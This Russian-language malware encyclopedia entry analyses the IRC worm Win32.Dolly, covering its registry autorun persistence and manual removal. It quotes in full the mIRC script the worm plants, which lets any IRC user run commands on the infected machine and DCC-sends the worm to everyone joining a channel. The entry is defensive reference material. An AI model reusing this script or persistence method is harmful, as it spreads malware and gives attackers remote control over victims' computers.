IRC-Worm.Win32.Dolly
Материал из Total Malware Info
IRC-Worm.Win32.Dolly Червь распространяющий себя через IRC. Является приложением Windows (PE-EXE файл). Имеет размер 14 848 байт. Написана на Visual Basic.
Инсталляция
Для автоматического запуска при следующем старте системы червь добавляет ссылку на свой исполняемый файл в ключ автозапуска системного реестра:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] “System”=”<путь и имя исполняемого файла червя>”
Деструктивная активность
Ищет файл mirc.ini на следующих разделах жесткого диска: C:, D:, E:, F:
Если находит этот файл, записывает следующие строки:
[script]
n1=#remotecontrol on
n2=on 1:connect:auser 125 *!*@*
n3=on 1:join:if ($nick != $me) { /dcc send $nick <имя исполняемого файла червя>
n4=ctcp 125:*:?:$1- *
n5=#remotecontrol end
в файл script.ini, который ищет в той же папке что и mirc.ini. Данный скрипт расссылает исполняемый файл червя по сервису DCC всем присоединяющимся к каналу клиентам.
Рекомендации по удалению
Если ваш компьютер не был защищен антивирусом и оказался заражен данной вредоносной программой, то для её удаления необходимо выполнить следующие действия:
- При помощи ("Диспетчера задач") завершить процесс червя.
- Удалить оригинальный файл червя (его расположение на зараженном компьютере зависит от способа, которым программа попала на компьютер).
- Удалить параметр в ключе реестра (как работать с реестром?):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] “System”=”<путь и имя исполняемого файла червя>”
